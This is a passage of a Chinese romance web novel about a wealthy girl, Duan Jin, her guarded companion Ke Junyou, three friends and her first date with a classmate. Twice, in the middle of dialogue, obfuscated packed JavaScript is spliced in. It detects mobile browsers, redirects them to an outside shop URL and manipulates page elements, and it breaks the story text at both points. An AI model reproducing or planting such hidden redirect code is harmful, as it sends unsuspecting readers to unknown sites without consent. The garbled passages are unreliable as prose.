段槿没太在意,只疑惑柯钧佑这人什么时候变得这么……弱了(?) 她觉得他好奇怪,说这话时语气没有丝毫波澜,脸色倒是沉得厉害。 段槿不记得自己最近有得罪柯钧佑,这么想来他好几次的行为都蛮怪的,让人完全摸不清头脑。 和这种人打交道挺累的,所以段槿直接选择不跟他打交道。 等电影放完,段槿刷视频也刷累了。 群里的消息还在不断涌出,段槿瞟了几眼,重要的消息只有一条:下午四点半高尔夫球馆碰面。 檀郊公馆过去那边差不多要一个钟,段槿去楼上换了身休闲装,从衣帽间出来后忙赶着到车库,她不打算跟柯钧佑一块儿过去。 今年年初的时候她就把驾照考了下来,只不过在没有毕业前,宁女士不允许她自己开车上路。现在高考结束了,她是一刻都等不了,坐上了冰银色迈凯伦GT。 车是段融桦送给段槿的成年礼物,其实当初宁女士是不答应买跑车的,总担心她会自个偷偷开去跑山,那简直太危险。 但段融桦宠段槿是有目共睹的,偷摸着就给买回了家。然后没辙,宁女士松口说等高考结束了才能开,最好每次开车出门都叫上柯钧佑。 段槿十分不理解,宁女士就说:有你哥哥在,我放心些。 段槿不乐意,她对柯钧佑有意见不是一天两天了,总觉得他这人可讨厌了,就跟班里的间-谍一样,有事没事跟班主任打小报告。 但她一般情况下是不可能跟长辈顶嘴的,只会点头说好,说知道了。 这会儿宁女士还没回来,段槿坐上车,车门一关,安全带一系,一脚油门跑得没了影。 至于柯钧佑,他其实也不乐意跟段槿一块儿,这方面段槿很有自知之明。 他爸妈虽然常年待在国外,但非常关注他的生活以及兴趣爱好。 实话,段槿有时候挺羡慕他的,就比如他喜欢机车,跟他爸妈提了一嘴,没两天,那辆全球限量版机车就被空运到了申城,停进了段家车库。 诸如此类的事情还有很多很多。 相反,段槿喜欢什么她会说,但宁女士从来都是先思考这件事此时此刻能不能干,会有哪方面的危险,又或者这个年龄阶段适不适合干。 这么一对比,段槿就觉得特不公平,但在长辈面前,她还是只会说好的,知道了。 转头她就警告柯钧佑,如果再跟宁女士站在一条战线上,他俩以后就别当朋友了。 印象很深刻,柯钧佑当时没睡醒,微垂着眼,声音懒懒地:“我俩什么时候成朋友了?” - 一个小时多一点,冰银色迈凯伦开进了一家私人俱乐部。 这家俱乐部是杜覃泽堂哥开的,占地面积大,总共分为四个区域,室外、室内、半室外以及餐厅。而这些区域又分了会员区和非会员区。 段槿把车停在会员区停车场。 边解安全带,她拿起放在副驾座椅上的灰色做旧破洞棒球帽往头上戴,随后推车门下车,朝着半室外场馆走去。 进入场馆,映入眼帘的是观景休闲区。深棕色的皮质沙发面向户外摆放,可以看到深浅不一的绿色草坪,勾勒出球道、果岭,以及沙坑的轮廓。 落地窗的侧方立着一台可移动式的观影屏,屏幕上正放着近期热播的群像综艺。 低矮宽大的沙发后方不远处是调酒区,那儿有一整面墙的酒柜,里边存放着不少洋酒。 嵌入式的吧台上摆着一个冰桶,冰桶里面放了一支香槟,它的旁边有调酒工具以及水晶玻璃杯。 调酒区的对面是一张棋牌桌,以及储物柜。 这间半室外的练习场是不对外开放的,当初建这家俱乐部的时候,杜覃泽就特地拿着设计稿找了堂哥。堂哥特爽快,装修途中几人提的所有要求,他都一一应下。 而进入这里需要密码,这密码只有他们五个知道,连俱乐部的老板都不知道。 段槿觉得这样挺不够意思的,杜覃泽的原话:他有把柄在我手上。 那就够意思了。 掐着点,段槿迈入了私人区域。 谈俢焱如雷鸣般响亮的说话声猝不及防的闯入了耳内。 此时谈俢焱正侧坐在沙发上,他的眼睛瞪得像铜铃一般,满脸的不可置信:“我靠,你……你的脸……怎么肿得……跟猪头似的……” 谈俢焱说话太直接,完全不懂把握分寸。 这下秦澜不乐意了,她把包包往沙发上一扔,捏拳,快步上前用力捶打谈俢焱的肩膀:“你要死啊!会不会说话!” 与此同时的另一边,杜覃泽正握着球杆在打球,完全屏蔽掉了俩人的打闹声。 谈俢焱被狠狠捶了几下,余光瞟到段槿来了,他咬牙忍痛,招手叫人:“快快,公主,你看她的脸,是不是像发面馒头。” 秦澜恶狠狠瞪他,又猛猛给了他几拳。 段槿已经踱到沙发区,她今天还什么都没吃,先前不觉得饿,这会儿闻到热狗浓郁的烟熏香气,她没应谈俢焱的话,拿起桌上的热狗。 边吃,她去储物柜里取出自己的高尔夫球包。 回来沙发区时,她看了秦澜一眼:“阿姨同意你打针了?” 秦澜已经不跟谈俢焱闹了,在沙发上坐下,摆摆手:“软磨硬泡呗,现在看着吓人,过几天就消肿了。” 说着这话,她从口袋里掏出一面镜子,照了照自己又红又肿的脸。 一旁的谈俢焱似乎还想说什么,秦澜秒察觉,甩过去一个眼神,他直接被吓退。 段槿对于这件事没有什么特别的看法,已经从高尔夫球包中拿出一根樱花粉球杆。她一手握球杆,不紧不慢来到3号发球台。 咬一口热狗,随后挥动球杆。 高尔夫球飞出,在空中划出漂亮的弧线。 瞧见这一幕,谈俢焱拍掌:“牛啊,单手都能打这么好,我什么时候才能像你们仨这样啊,这玩意我都学小半年了,还是菜鸡一个。” 说着,他突然意识到什么,回过头往门口的方向看去:“话说佑哥呢,怎么没一块儿来?” 段槿已经快速吃掉了整个美式热狗,她将包装袋揉成团丢进了旁边的智能垃圾桶,双手握球杆准备专心打球,压根儿不知道谈俢焱跟自己搭话呢。 被无视,秦澜摆摆手:“害你问她干嘛,她怎么可能知道。”她挑眉,用肩膀撞了下谈俢焱的肩膀:“他俩不熟的。” 话音刚落,不太熟的某人拎着个超大的纸袋,迈着长腿过来了。 他穿着一件白色的半拉链重磅硬挺短袖,搭配米色字母印花短裤。 刘海遮挡住他的眼睛,他微微垂着眼,握手机的那只手的小指上缠着有线耳机,右耳的那只耳机塞在耳内。 他滑动了几下手机屏幕,踱到沙发区时,秦澜和谈俢焱正目不转睛地盯着他破了的嘴唇看。 他有所察觉,掀起眼皮看了俩人一眼,随后将纸袋放到桌上。 秦澜回过神,注意到纸袋上印着的店名:BERRY。 她这才想起来问:“对了柯总,你的店什么时候开业啊,我还等着送花篮呢。” “下个月。”说着这话,柯钧佑摘下耳机,把耳机线缠在手机上,绕了几个圈,再将手机丢到了柔软的沙发上。 谈俢焱已经凑上前,从纸袋里拿出一杯特调咖啡,正掏吸管,手上的这杯咖啡被柯钧佑夺走,放到了一旁。 而后他从纸袋里拿出另一杯,递给谈俢焱:“你喝这个。” 谈俢焱接住咖啡看了眼,十分不解:“所以这杯和那杯有什么区别?” “糖度不一样。”说完,柯钧佑补充了一句:“那杯很甜。” 谈俢焱倒也不在意,就哦了声,拆了塑封膜后插-上吸管猛喝了一口。 将剩下的咖啡拿出来后,柯钧佑又从纸袋里取出几盒蛋糕。 正要往沙发上坐,不远处的杜覃泽已经拿起旁边桌上的,柯钧佑的球杆,直接丢了过去。 “别歇了,打球。” 柯钧佑精准预判,手一抬,接住了球杆。 随后,他拿着球杆去到了杜覃泽边上的位置。 人前脚刚走,后脚谈俢焱就随手拆了一盒蛋糕,迫不及待的尝了一口。 这一尝,直接给他吃出了痛苦面具:“我靠,这蛋糕咋这么甜啊,这不是之前尝品时的那款黑巧蛋糕吗?”边说,他龇牙咧嘴,手臂上起了一层薄薄的鸡皮疙瘩。 此时柯钧佑刚挥球杆打出一个球,没回头,语气很淡的说:“改了配方。” 谈俢焱把这块蛋糕往远处一推:“我吃不了,齁甜。” 话音落,他看到段槿过来沙发区了,连忙示意她:“公主公主,你吃,这甜度你绝对喜欢。” 段槿打球打热了,将头上的棒球帽取下来,又从兜里掏出一枚发卡,把额前的刘海往侧边一夹。 来到沙发边,她把棒球帽随手丢在了沙发上,然后拿起放在桌子角落的那杯咖啡,喝了几口。 秦澜正刷短视频,不知道是看到了什么,她往段槿身边靠了靠,拉她坐下:“公主,我们一块儿去做美甲吧。” 段槿瞟到秦澜的手机屏幕,她挑选的款式都特别……夸张。 长甲片+满钻。 她没有直接拒绝,只说:“做了没法攀岩。” 秦澜拉着段槿的手左右晃了晃:“哎呀,你就陪我做一个呗,好不好好不好嘛~” 段槿思考了两秒:“我还得上钢琴课。” “……” 秦澜差点把这事儿给忘了,如果是因为这个原因不能陪她做,可能真就有点难办了,毕竟上钢琴课是宁女士要求的。 秦澜瞬间泄了气,正要滑下一个图文作品,段槿指了指图片上的一款:“我做这个。” 秦澜:“??” 段槿说:“刚好可以偷几天懒。” 愉快地决定下来后,隔天,秦澜叫了两位美甲师上门。 段槿和柯钧佑到秦家时,美甲师已经在客厅做准备工作。 秦澜没想到柯钧佑会来,招手叫段槿过来身边坐下,顺嘴问:“你哥怎么也跟来了。” 在单人沙发上坐下后,段槿把手递给对面的美甲师:“妈咪回来了,让他看着我。” 要这么说秦澜就不意外了,只哦了声,回头看到柯钧佑一点儿都不拘束,自个坐到了客厅中央的沙发上,玩起了手机。 她担心他无聊,提议:“班长, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537790|203859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你要是无聊,要不去隔壁找小杜玩儿?他应该是醒的。” 他们五个,段槿和柯钧佑从小学开始就住在一块儿,秦家和杜家十年前就是邻居。只有谈俢焱,没人陪不说,住的地方跟他们四个这隔了老远。 就因为这事,谈修焱还委屈吧啦的说他们四个人搞孤立。 只是像今天这样的活动,叫他过来挺没必要的,就谁都没提。 而在秦澜提议去隔壁玩的半小时后,杜覃泽穿着居家服,睡眼惺忪的来到了秦家。 俩男的碰面后没有特别多的交流,陷在沙发里,拿着手柄玩了一整个下午的双人成行。 等段槿做完了指甲,往沙发上一瘫。 说了句:“我要玩。” 她没有指名道姓,所以俩人谁也没应。 段槿就重新叫:“小杜小杜。” “别这样叫我。”杜覃泽的反应挺大的,说话声里透着一丝不满。 旁边的美甲师还以为是叫那个小度呢。听到顺毛帅哥应了声,俩美甲师顿时愣住。 然后就看到顺毛帅哥把游戏手柄递给了冷脸美女。 段槿接过手柄,才发现,做了长美甲后压根儿按不好手柄上的键。 加上杜覃泽玩的是女角色,难度比较大。她试图征服这个美甲,尝试了几次后,她彻底放弃了,把手柄还回去,开始刷短视频。 等秦澜做完美甲,天都已经黑了。 她迫不及待拉着段槿拍了一张美甲图。 两个人用手比数字六,然后小指和小指靠在一起,拇指微微弯曲,摆出爱心的手势。 - 这天之后的一段时间,五人基本上天天见面,把能玩的都玩了个遍。 什么台球、网球、羽毛球、保龄球。偶尔再打打麻将,钓个鱼。然后去潜水、冲浪、爬山…… 一天一个玩法。 高考成绩出来那天,五人正窝在杜覃泽家里的影院看鬼片。得亏五人发挥得都不错,要不然绝对比鬼片还吓人。 之后几人商量着选好了学校,收到录取结果这天正好是柯钧佑的店开业,谈俢焱叫了圈子里一堆少爷小姐过来捧场,现场闹腾得跟进了酒吧似的。 最后毫不意外的,统统被柯钧佑给赶走了。要再不走,根本就没办法正常接待客人。 送走了这群人,店里很快恢复平静。没一会儿,客人就多了起来。 人一多,店里就有点忙不过来。 原本柯钧佑在陪谈俢焱和杜覃泽玩游戏,游戏还没结束,他直接挂机,起身去帮忙做咖啡。 谈俢焱看到柯钧佑把手机撂在了桌面,他拿起来,手机丢给段槿。 急到不行:“快快快,你帮忙打一下。” 五人中属段槿不爱玩游戏,拿到手机后都不知道该点什么键。 一旁正跟人发消息聊天的秦澜也没想着帮她,还突然扯到了别的话题:“诶公主,我有个认识的男生,我感觉还挺符合你的择偶标准的,要不要试着接触接触。” 段槿控制方向让英雄走起来,然后哪个键亮了点哪个键。 回得随意:“不想找圈子里的。” 言外之意,不要认识的,要那种对她的身份背景全然不知的帅哥。 秦澜秒懂,点了下头。 一旁的谈俢焱,这会儿在游戏里被人痛殴,但也不妨碍他听八卦:“接触什么?什么标准?什么圈子?” 随着屏幕上显示您已阵亡,他睁大眼睛看着段槿:“小槿!你要找野男人吗!还要混禁-忌圈的?” 话音刚落,杜覃泽用胳膊肘抵了一下谈俢焱,压着音量说:“小点声,听得到。” 谈俢焱不解:“这儿不就我们几个吗?” 杜覃泽不再吭声,抬眸,透过段槿身后的反光玻璃,看到站在吧台后正做咖啡的人掀起了眼皮,似乎正盯着这边。 不过很快,这个话题就结束了。 至于找男人这事,段槿没有接触过其他的异性,想谈恋爱是真,如果有合适的,她会试着以交往为前提和对方约会。 但在不足够了解,确定双方适合的情况下,她是不可能随随便便答应和任何一个异性交往的。 日子照就过,收到录取通知书这天,段槿被秦澜拉进了希尔大学的新生群。 刚加群不到两小时,一条好友申请就弹了出来。 验证申请语是:[你好,我叫葛维习,是希尔大学物理系的,能交个朋友么?] 看到这条好友申请,段槿并不意外,她的朋友圈一直开着允许陌生人查看十条的权限。 收到申请信息后,段槿先点开了他的头像。是一张黑白男漫头,再通过群聊进入他的朋友圈。 翻了翻,有自拍,他拍,分享的歌单,还有拍景的。大概率是毕业旅游,他去了海边城市,有一张他穿着短裤,露出腹肌,站在沙滩上的照片。 段槿放大看了一下他的长相,还挺帅的。 她退出来,点了通过。 通过的下一秒,对面发了一条语音过来。段槿点开听的时候,柯钧佑刚好从电梯里出来。 手机音量有些大,男生的声音在偌大的客厅里回荡:“哈喽早上好啊,很高兴认识你。” 段槿不知道该怎么形容这个男生的声音,用秦澜的话来说就是,极品青年音,听着就特别会玩网恋。 她没有跟陌生人发语音的习惯,正敲字,手指停在发送键上。 一声低沉的,阴恻恻的嗓音在身后,头顶上方响起:“这人谁?” 4. 维护 段槿速度极快地将手机屏幕锁上,握手机的那只手,手指紧了紧。 说话自然而含糊:“没谁。” 说这话时,她余光瞟到,柯钧佑已经从沙发后方绕到了另一侧。 在单人沙发上坐下后,他倾身去拿茶几上的遥控器,另一只手上还捏着手机,时不时垂眸看一眼屏幕。似乎对刚刚的那件事并不上心,就随口一问。 但段槿依旧有所顾虑,担心他嘴一快,把某些事捅-到宁女士那儿去。 看着柯钧佑边滑动手机屏幕,找了一部美剧看了起来。 段槿暂时松口气,解锁手机后将还保留在输入栏上的消息发了出去。 对面几乎秒回过来一条语音,这回段槿没有点开听,而是转了文字。 随着文字被加载出来,段槿来不及读完。半靠在沙发上,眼神极为慵懒的柯钧佑,突然问了句:“下午茶吃什么?” 段槿不解:“就吃下午茶?” 柯钧佑掀起眼皮:“你要不看看现在几点了?” 段槿低头看了眼屏幕左上方的时间,显示:14:36。 她边敲字回对面的消息,说:“随便,我都行。” 柯钧佑没再说什么,将遥控器丢回茶几。 过了几分钟,他再次开口:“是去茶餐厅吃还是叫来家里吃?” 问这个问题的时候,段槿正在翻阅秦澜的朋友圈,试图找到一个适合的文案。 以至于她完全没有把柯钧佑的话放心上,找到喜欢的文案后,她编辑好内容,先点了发表键。然后很随意的回:“去茶餐厅吧,你坐我的车。” 柯钧佑没抬眼,只滑动着手机屏幕,看到最新一条朋友圈动态,是ukiava发的。 文案:[ovo] 配图是一张对镜拍。 照片中,段槿坐在衣帽间的全身镜前,她右手手里拿着一部苹果5s,身体往□□斜,左手撑地,盘起左腿,竖起右腿,相互呈90度。 她身上穿着一件黑色的V领镂空长袖,胸口的位置是绑带的设计,每根绑带中央镶嵌着一颗珍珠。搭配牛仔阔腿裤,脚上穿着一双豹纹复古板鞋。 长发用电话线发圈扎了个中马尾,右侧的碎发被捋在耳后,露出断眉。 看到这条朋友圈的下一秒,秦澜的评论随即弹出。 [摆烂小澜:你怎么在这个点发朋友圈啊,不对劲不对劲,有九十分的不对劲。] 柯钧佑将微信页面划掉,手机撇到一旁。 段槿刚结束跟葛维习的聊天,见不远处那人没搭理自己,以为他没听到自己说的话,于是叫他一声:“喂。” 要换做平时,没听着就没听着,段槿的注意力早跑远了,但这次不一样,因为她说了‘你坐我的车’。 柯钧佑知道她什么意思,他太了解她。 宁女士的公司就在茶餐厅附近,按照惯例,段槿每次过去店里吃东西,都会叫后厨做些点心送去宁女士的公司,请总裁办的员工们吃。 并且都是她亲自带过去,那么也就意味着,如果宁女士知道她一个新手司机,开着那辆随随便便踩一脚油门,就能超速的跑车上路,绝对逃不过会被念叨。 如果不是担心这一点,她怎么可能说出这种话,面子上都过不去。 柯钧佑轻乜了她一眼:“下午茶我会让人送过去。” 言外之意:不必载,你的车,我不坐。 段槿听明白了,巴不得,一句多余的话都不再说。 先柯钧佑一步从檀郊公馆出发。 没人盯着,段槿开车的速度要比往常快许多。 四十分钟不到,冰银色迈凯伦开进院门,停在了一家名叫港芙居的茶餐厅门口。餐厅是独立的门店,靠近商圈,客流量极大,前坪的停车区域基本上停满了车。 段槿将车熄火,拿上副驾座椅上的包包,开车门下车,随后将车钥匙丢给了泊车员。 泊车员接过钥匙,朝段槿微微鞠躬。 段槿迈步朝着大厅走去,感应门很快向两侧打开。紧接着,一位穿着职业套装的女人笑着,快步迎了上来。 “段小姐下午好,这边请。”说着这话,她做出请的手势。 段槿跟着店长进电梯,上到三楼,随后被带到了私人包间。 这间包间在一个较为隐蔽的角落,需要穿过长长的走廊,在拐角处的位置,墙壁上还有一台密码机。输入六位数密码后,门便会自动打开。 这个包间的密码只有段槿他们五个,以及店长知道。 在店长输入完密码,门自动打开后,段槿余光注意到,不远处有个怀里抱着菜单的年轻女服务员,正悄咪咪地往这边走来。 那人面生,估计是店里招的暑假工。 如果没有记错的话,暑假工不会被安排在三楼进行服务。这一层除了私人包间外,招待的也都是会员制客人。 不过她并没有多想,已经迈入包间,在主位坐下。 同一时间,店长看到了那位年轻的女服务员,眉心一蹙,想说什么,但因为包间里已经有人在,只能把话硬生生给憋了回去。 眼神警告了一番后,店长夺走了她手里的菜单,笑盈盈地来到主位旁,将菜单轻放到了段槿面前。而那位女服务员在接收到指令后,麻溜去准备茶水。 段槿正翻看菜单,包间的门被自动打开。 柯钧佑迈步进来,戴腕表的那只手上拎着机车头盔。 店长察觉到来了人,立马转身朝他鞠了个九十度的躬:“柯老板下午好。” 柯钧佑简单应了声,走到主位旁,边拉开椅子坐下,把头盔往桌上一放。 这会儿段槿还在专注的看着菜单,翻了几页后桌面上的手机接连响了好几声。 她瞟了眼手机屏幕,随后把菜单往柯钧佑那一推,一句话也不讲,往椅背后一靠,拿起桌面上的手机点进了微信。 柯钧佑原本在回杜覃泽的消息,瞟到被推到面前来的菜单。他没将手机锁屏,直接平摊放到了桌上,随后拿起菜单边翻看,边跟店长点菜。 点了几道菜后,站在桌旁沏茶的女服务员给柯钧佑倒了杯茶。 柯钧佑食指微曲,轻叩桌面两下。拿起茶盏准备喝,余光注意到,女服务员已经给段槿倒了一杯茶。 他很随意的说了句:“她的多过一遍水,茶杯换成羊脂玉瓷杯。” 女服务员怔了一瞬,很快反应过来,连忙道:“好的好的。”鞠完一躬后,她转身快步去到茶具柜前取杯子。 店长在这时笑着抱歉:“排班表可能出了点岔子,实在抱歉,我会处理好。” 柯钧佑什么都没说,甚至连应都没应,继续点菜。 整个过程中,段槿一言不发的抱着手机,手指敲击的速度极快,几乎没有停歇过。 等点完了菜,柯钧佑交代店长,派人送点心去宁女士的公司。店长应了好,带着女服务员退出了包间。 等菜期间,段槿依旧抱着手机在跟人聊天。等上完了菜,柯钧佑都开始吃了,段槿还在聊。 一开始段槿还没有察觉,直到柯钧佑将菠萝油转到了面前。 他刚准备伸手去拿,段槿快速拦了一下,手背轻扇在他的小臂上。 就看到柯钧佑往另一边挪了点,被扇的那只手很随意的靠放在桌沿,另一只手握着茶杯,手腕轻转,晃着杯中的茶水,等着段槿给桌上的食物拍照。 拍完照片,段槿顺手就发给了葛维习。 对面依旧是秒回。 【葛维习:看着好好吃啊,是和朋友一起吗,几个人啊。】 看到这条消息,段槿将照片点开看。才发现,这张照片的角落,露出了柯钧佑靠放在桌沿的手。 他的手指白皙修长,骨节的部位透着淡淡的粉,手背的位置还藏着脉络分明的青色纹路。 退出图片,段槿的手指悬在半空久久没有按下任何一个键。 也是这时,柯钧佑终于瞥过去一眼,语气一般:“你到底吃不吃。” 段槿边敲字回消息,应了声:“你可以吃了。” 【ukiava:嗯,跟朋友。】 选择性的回答完对面的消息,段槿放下手机,又一条消息弹了出来。 【葛维习:暑期档有部电影评分很高。】 这句底下,他发了张截图,是影片的简介以及演员表。 【葛维习:你看过吗?】 段槿单手打字,眼皮都没抬,拿起盘子里剩下的一个菠萝油,吃了起来。 【ukiava:没看过。】 咬下一口菠萝油,面包体外皮酥脆香甜,包身松软,夹在中间的冰凉厚切黄油,滑嫩。 此时黄油慢慢融化,渗入松软的面包中,咸甜交融。 每回来港芙居,段槿必点的一道甜品就是菠萝油。 点得多了,这道点心顺利登上了商家推荐榜,稳稳拿下第三名的好成绩。 一口接着一口的吃着,与葛维习的聊天框上方显示对方正在输入的字样已经快三十秒。 段槿都吃掉大半个菠萝油,拿起筷子夹了一颗虾饺,咬了一口,对面还没有输入完。 段槿不盯着手机看了,把手机撇到一旁。 下一秒,消息弹出。 【葛维习:你什么时候有时间,一起去看电影么?】 其实早在葛维习没有秒回消息的时候,段槿就料到他会约自己看电影,她很清楚date关系是需要约会的,仅仅通过网络交流没办法真正的了解对方。 但不知道为什么,她下意识想拒绝这次约会。 或许是因为,目的性太强了? 她的确想谈恋爱,可当一个陌生男性突然出现在面前时,她又觉得有点奇怪。 她暂时并不知道问题出在哪,只将这种奇怪的感觉归纳为和异性接触过少,多接触接触,应该会得到改善。 这么想着,她应下了这次的约会邀请。 商量好约会的时间和地点后,段槿随便吃了几口就放了筷子。 抄起包包起身走人,快走到门口了,她突然回过头,看向正不急不慢吃着东西的柯钧佑:“别跟妈咪说。” 闻言,柯钧佑轻抬眼皮:“你要去干什么见不得人的坏事,不能让宁女士知道。” 段槿也不明说:“闭上你的嘴就行。” - 葛维习的语音发过来的时候,段槿刚将迈凯伦停进商场的地下停车场,正拎着包包朝着电梯口走去。 她边按下播放键,跟出电梯的人群错开走了进去。 站在电梯里,待门缓缓关上,她面朝着镜子整理头发。手机贴放在左耳边,段槿揉了下右耳的耳垂。 听完了整条语音后,她单手敲字回了对面的消息。 回复完消息,段槿将手机塞裤子口袋里,继续整理头发以及检查妆容。 她今天穿的是一件十字花满天星烫钻紧身露脐短袖,搭配低腰牛仔裤,腰上系着一条复古咖啡色金属双铆钉腰带。 脚上踩着一双皮带扣铆钉黑色平底尖头凉鞋。 整理完头发,透过镜子看到电梯显示屏里的楼层数,很快来到了地上一层。 她转身面向电梯门,待电梯门向两侧打开,段槿快速从侧边迈出电梯,尽可能的避免了和陌生人的任何肢体接触。 出电梯后走了没几步,段槿就看到了站在星巴克落地玻璃窗边的葛维习。 他没看手机,手里拿着一杯喝了一半的咖啡,另一只手上拎着打包袋,正在四处张望。 在他还没有发现段槿时,段槿就认出了他,原因很简单,他不是照骗。 在来来往往的人群中,毫不夸张的说,他绝对是最引人注目的。 他拥有一张俊朗的面容,兴许是刚从海边城市度假回来,他的肤色比早期照片里,看着要更健康一些。 段槿边朝他所在的位置走去,从头到脚打量他。 他穿着一件白色的短袖,搭配黑色的运动裤,脚上踩着一双同色系浅口帆布鞋。 随着越走越近,葛维习发现了段槿,笑着招了招手。 他笑起来眉眼弯弯,眼睛清澈透亮,唇色浅淡。 边笑着,他抬腿走向段槿。 来到跟前时,他自然地伸出手:“包包我帮你拿吧。” 段槿不习惯把包包交给别人,于是婉拒:“不用。” 葛维习没有勉强,点了下头,和她并排走:“不知道你喜欢喝什么,点了一杯我喜欢的,绵云冷萃。”说着,他将纸袋递过去。 段槿接过,拎着这杯对于她来说极苦无比的咖啡,说了句谢谢。 电影院在商场顶楼,现在时间还早,他们没有乘坐垂直电梯,沿着扶梯慢慢往上逛。 边逛,葛维习一直找各种话题,段槿不太会跟人聊天,总是把话题聊死,好在葛维习足够有耐心,也不觉得尴尬。 逛到顶层时,距离电影开场还有二十分钟。葛维习去取票和买爆米花,段槿站在一旁等他。 暑假期间,来看电影的人很多,大厅里堆满了人。 等葛维习抱着一大桶爆米花挤回到段槿面前,段槿拿过他手里的一张电影票,说:“走吧。” 葛维习愣了一秒,很快笑着点头说好的。 按照电影票上的座位号找到位置坐下。 电影开场不到十分钟,段槿手里的手机接连震动了好几次。 她将屏幕亮度调低,解锁手机点进五人群聊。 【谈恋爱:今晚去唱歌吗?】 【摆烂小澜:来我家接我。】 【7zieo:顺便接我。】 【谈恋爱:你俩没车吗?非得要我大老远跑去接。。】 【摆烂小澜:别跟我们客气了,都是自家人啦。】 【谈恋爱:。。。。】 【谈恋爱:@ukiava @Pidrij 你俩人呢?吱声啊。】 【Pidrij:她去干见不得人的事了。】 【谈恋爱、摆烂小澜:哈?!?!?】 段槿原本没打算冒泡,都准备锁屏了,看到这句话,她眉心不着痕迹的蹙了蹙。 【ukiava:我干什么见不得人的事了?】 【Pidrij:你没告诉我。你还不让我说。】 【谈恋爱:所以是什么事啊公主?能告诉我啵。】 【摆烂小澜:你一边去,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537791|203859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都不知道你还想知道。】 【7zieo:柯钧佑都不知道,你俩还想知道?】 段槿还想发什么,但在看到杜覃泽的这条消息后,她脑袋空空,只觉得这话怎么奇奇怪怪的。她暂时没悟明白,也不等她悟明白,旁边的葛维习突然靠了过来。 他的手捂在唇边,轻声问:“是有什么事情吗?” 段槿将手机锁屏,摇了下头:“没事。” - 一个半小时的电影结束,两人乘坐垂直电梯下到一楼。 出商场时,葛维习看了眼时间,问:“晚上有什么想吃的吗?我搜到附近有家西餐厅,要不要去尝一尝?”说着这话,他下意识的就抬起胳膊准备搭段槿的肩膀。 还没搭上,他察觉到段槿似乎往旁边挪了一步,然后就僵住不动了。 葛维习有些懵,顺着段槿的视线看过去,就看到前方不远处有一群穿着国外潮牌的男男女女正朝着这边走来。 他们人多,足足八.九个。 为首的男生肤色冷白,整张脸毫无暖意。过长的刘海垂在额前,几乎看不到他的眼睛。 莫名给人一种非常不好接触的冷痞感,以及藏在阴影下的压迫感。 他旁边的顺毛男生也没好到哪去,小幅度扯起的唇角有种不怀好意的感觉。 原本抬起的手臂,在看到那俩人后,很自觉的放了下来,甚至背到了身后。 葛维习有些心虚的收回视线,看向一旁的段槿。 就发现段槿动了动嘴皮,似乎说了句什么,两个字,好像是:完了(?) 不太清楚,但看她的样子,好像并没有要完蛋的感觉,甚至可以说,她过于冷静,脸上没有丝毫表情。 葛维习刚要说什么,那群人中看着最好相处的,一个留着美式前刺的男生突然窜到了两人跟前。 “好巧啊小槿,这位是……?不介绍一下吗?” 这会儿,段槿和柯钧佑隔着人群对上了一眼。 不知道为什么,段槿有种被家长抓到早恋的心慌感,可明明她已经成年了,并且,他们没有血缘关系,说是陌生人都不为过。 短暂停顿几秒后,段槿说:“朋友。” 谈俢焱没有征求任何人的意见,特别热情的邀请:“我们要去唱歌,帅哥一起吗。” 葛维习已经把吃晚饭的事抛到了脑后,笑了下:“可以啊。” 愉快的决定下来后,众人步行来到商场隔壁街的一家名叫季御棠的娱乐会所。 进入大厅,映入眼帘的是中央的瀑布水池,以及头顶的水晶吊灯,吊灯如银河倾泻而下,两侧的墙面搭配金属质感的装饰物,每一处装饰都散发着奢华的光芒。 推开包厢的门,头顶的星空顶美得让人挪不开眼。 待众人坐下,场子很快热了起来。 秦澜给了谈俢焱个眼色,然后两人就特别默契的凑到了葛维习面前,抢占了段槿身旁的空位。 谈俢焱一脸八卦的问:“帅哥,你和小槿是怎么认识的啊?” 葛维习如实回答:“希尔大学的新生群。” 秦澜一听,特夸张的哇了一大声:“这不巧了吗,我们几个都是希尔大学的,你学什么专业的啊。” 葛维习:“物理。” 谈俢焱也哇一声:“牛啊学物理,你脑子肯定很好使吧。”说完这句,他不再磨蹭,直接进入主题:“谈过恋爱吗?会谈恋爱吗?” 葛维习犹豫了两秒:“没谈过。” 听到这个回答,谈俢焱和秦澜对视了一眼。 正准备再套点话,段槿将麦克风递出去:“唱歌。” 话音刚落,不远处沙发角落的杜覃泽冷不丁说了句:“维护上了。” 他声音不算大,但由于这会儿包厢里还没有人唱歌,只有微弱的伴奏声,以至于他说的这话格外明显,且突兀。 葛维习听到后淡淡的笑了下,很快注意到,坐在顺毛男生旁边的那位,似乎掀起眼皮看了自己一眼。他不敢确认,因为包厢里的灯光有些昏暗,加上对方的刘海过长。 之后,谈俢焱和秦澜就没抓着葛维习不放了。 让出了位置,葛维习很快坐到了段槿边上,找她聊天。 期间段槿喝了几口鸡尾酒,又慢慢吞吞吃掉了一整碗意大利面。 等杜覃泽唱完了一首抒情歌,把麦克风递给柯钧佑,柯钧佑没接。杜覃泽转头就将麦克风递到了葛维习面前。 葛维习原本在教段槿玩骰子,看到递过来的麦克风,他愣了几秒,有些为难的说:“我不太会唱。” 杜覃泽没收回手。 秦澜立马圆场:“没事,我们唱得都挺一般的,你会唱哪首,我给你点上去。” 葛维习有些不太情愿地抬手准备接麦克风,段槿越过他的手,拿过麦克风:“我唱。” 